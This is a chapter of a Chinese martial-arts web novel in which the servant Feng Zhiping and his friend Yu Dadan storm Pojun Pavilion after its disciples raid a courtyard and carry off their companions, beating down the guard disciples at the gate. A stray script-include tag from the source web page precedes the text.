<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
紧赶慢赶回到周冬夏的院子,还没进门,就看到大门口围了一群人,好几个还带了伤。
坏了!
一个激灵,几步冲进门内,院里的人不多,但倒的倒躺的躺,周冬夏的屋子房门只余半截,屋内凌乱不堪,里面的人不见了踪影。
“怎么回事?是不是破军阁的人来了?”封知平抓起一个人问道。
那人捂着胸口,呲牙咧嘴的点点头:“是,是破军阁的人,他们把老赵老董他们抓走了!”
“什么?!”
封知平大怒,破军阁的人竟然如此嚣张,明火执仗的上门抓人不说,还打伤了这么多兄弟,砸了周冬青的屋子,这可是犯了好几条门规的!
“冬哥呢,也被抓走了?”
“没,冬哥不在,要是在,哪能容他们嚣张!外门弟子?我呸,一群活土匪,比桥西的还流氓!”
那人恨恨,封知平更恨恨,周冬夏低估了破军阁的张狂,他的屋子并不像他以为的那样安全。
“到底怎么回事啊?”于大胆趴在井口问道。
方才听说几个要好的兄弟出事,他立刻赶来过来,结果一进门就撞上破军阁抓了人向外走,没等回神就被一脚踹进了井里,亏得体格大才卡在半截没掉到底,好不容易才爬上来。
将事情简略一说,封知平说道:“你们在这儿别动,冬哥回来了跟他说我去了破军阁,让他带人过去找我!”
“等等,我也去!”
费力的爬出井口,于大胆火刺刺的骂道:“吗的,破军阁的王八蛋敢阴我,还敢踹我屁股,老子跟他们没完!”
“你就别去了,他们不是桥西,全是外门弟子,你别扯进来。”
“外门怎么了,我怕他们?!”
推开封知平,于大胆振臂高呼:“都别装死了,赶紧起来,跟我们一起去破军阁要人!吗的抓人都抓到门上来了,真当咱们杂役是泥捏的?!”
喊得高亢,可惜响应者无一,一群人你看看我我看看你,纷纷低头装死。
“草,一群怂蛋!”
于大胆大怒,撸起袖子就要教训几个,封知平赶忙拉住。
“算了,毕竟是外门弟子,跟他们动手是犯忌的。他们在这儿也好,全当保护现场,让律宗堂的人过来看看破军阁究竟有多猖狂!”
于大胆一琢磨也对,自己不怕不代表别人不怕,全拉去未必顶用,而且还可能被人栽个恶意煽动以下犯上的罪名。
“那就听你的,其他人留下,我跟你去!你们都别闲着,都给我躺下嚎起来,叫得惨一点!二毛,我他吗没说你是吧?给老子躺下!对,打几个滚,别跟个小娘们儿似的哼哼唧唧,要嚎,使劲嚎,嚎得越惨越好!”
瞬间,院子里哭喊声震天,不知道的还以为在办丧事,封知平无语的竖了竖大拇指。
本想劝于大胆也留下,想了想还是带上了,破军阁自己不认识道,有个人同去也多个照应。
半途于大胆回了趟屋,再出来时背后多了把人高的方便铲,两人气势汹汹的来到破军阁山下,没等碰着楼梯就被拦下了。
“大胆!外门重地,闲人免近,赶紧离开!”
于大胆提着铲子就要动手,封知平一拦,冷声道:“我问你,方才你们是不是抓了四个人进来?”
为首的青年闻言冷笑,上了一打量,点点头:“没错,确实抓了几个以下犯上的忤逆进来。怎么,你们是来救人的?就凭你们,还是两个?”
几个守山弟子哄然大笑,指指点点极尽蔑然。
于大胆的火爆脾气哪里受得了这份气,封知平这回没拦,动作比他还快,拔剑出鞘悍然出手。
“都别动手,我来对...噗~!”一人笑着拦了上来,可话未说完剑就磕飞了,跟着胸口中了一记重掌,吐血倒飞摔在台阶上。
笑声戛然而止,呼和叫骂随之而起。
多少年了,点苍山还从未听闻有杂役敢闯外门,更遑论伤人!
只是他们骂的凶,却并未多加重视,他们并不知道杜云和侯若兰重伤的消息,吐血的那位也不是什么高手,外门弟子的面子让他们做不出围攻两个杂役的糗事,是以看到反应最快的两个同门拔刀后,其他人立刻停步。
封知平冷笑,这帮人眼瞎的可以,端着外门弟子的架子竟然只派了两人应付自己和于大胆,真以为外门弟子就天下无敌吗?
不过这样也好,趁现在能放倒一个是一个,等下压力也轻点,今天说什么也要把人救出来!
三剑挑飞长刀,在对方惊愕的眼神中闪身欺近,一把抓住脖子。
“啊啊啊啊!你要干什么,我可是破军阁的...”
“破你吗!”
一拳打在嘴上,半截话捣回了嗓子眼。
封知平嗤笑,看面容,手里的小子跟自己差不多大,内力修为不错可刀法太差,脑筋也差,不想想怎么反抗竟然搬出身份威胁自己,看来外门弟子除了潜力稍稍高那么一点外跟杂役没多大差别,也是良莠不齐。
“你,你敢打我?你竟然敢打...”
“闭嘴!”
又一拳捣在脸上,少年女人似的尖叫痛呼,封知平耳膜都快碎了,冷着脸用剑身照着脑袋上狠狠一抽,耳根瞬间清静。
旁边,于大胆也放倒了对手,沉重的方便铲在他手里巧若无物,一铲子下去人当场昏厥。
眨眼的功夫又倒了两人,一群人终于发觉不对了。